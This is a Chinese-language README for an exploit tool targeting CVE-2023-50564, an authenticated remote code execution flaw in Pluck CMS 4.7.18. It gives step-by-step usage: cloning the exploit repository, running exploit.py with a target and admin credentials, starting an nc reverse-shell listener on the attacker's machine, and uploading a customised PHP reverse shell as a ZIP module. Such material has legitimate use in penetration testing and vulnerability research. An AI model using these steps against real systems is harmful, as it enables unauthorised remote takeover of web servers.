CVE-2023-50564

📌 描述

此漏洞允许 Pluck CMS v4.7.18 中经过认证的管理员上传一个包含 PHP 后门的恶意 ZIP 模块，从而导致远程代码执行 (RCE)。

⚙️ 功能特点

• 使用有效的用户名和密码对目标进行身份验证
• 自动从提供的 PHP 文件创建 ZIP 压缩包
• 将模块上传到存在漏洞的 installmodule 端点
• 触发载荷并显示输出
• 支持自定义目标、端口、凭据和 shell 路径

🚀 使用方法

git clone https://github.com/glynzr/CVE-2023-50564.git
cd CVE-2023-50564
pip3 install -r requirements.txt

python3 exploit.py -h

python3 exploit.py -t <target> -u <username> -pass <password> -path <path_to_php_shell> [-p <port>]

• 端口为可选参数，默认值为 80（如果未指定）。
• 指定目标时，需提供 IP 地址或域名（例如 127.0.0.1 或 test.domain）。

示例利用

首先，应在攻击机器上启动反向 shell 监听器（此终端标签不应关闭）：

nc -nvlp <specify port>

然后，从 https://github.com/pentestmonkey/php-reverse-shell 下载 PHP 反向 shell，并根据攻击机器的信息（IP、端口）进行自定义。

在另一个标签中运行漏洞利用代码：

python3 exploit.py -t test.com -u admin -pass samplepassword -path ../php-reverse-shell.php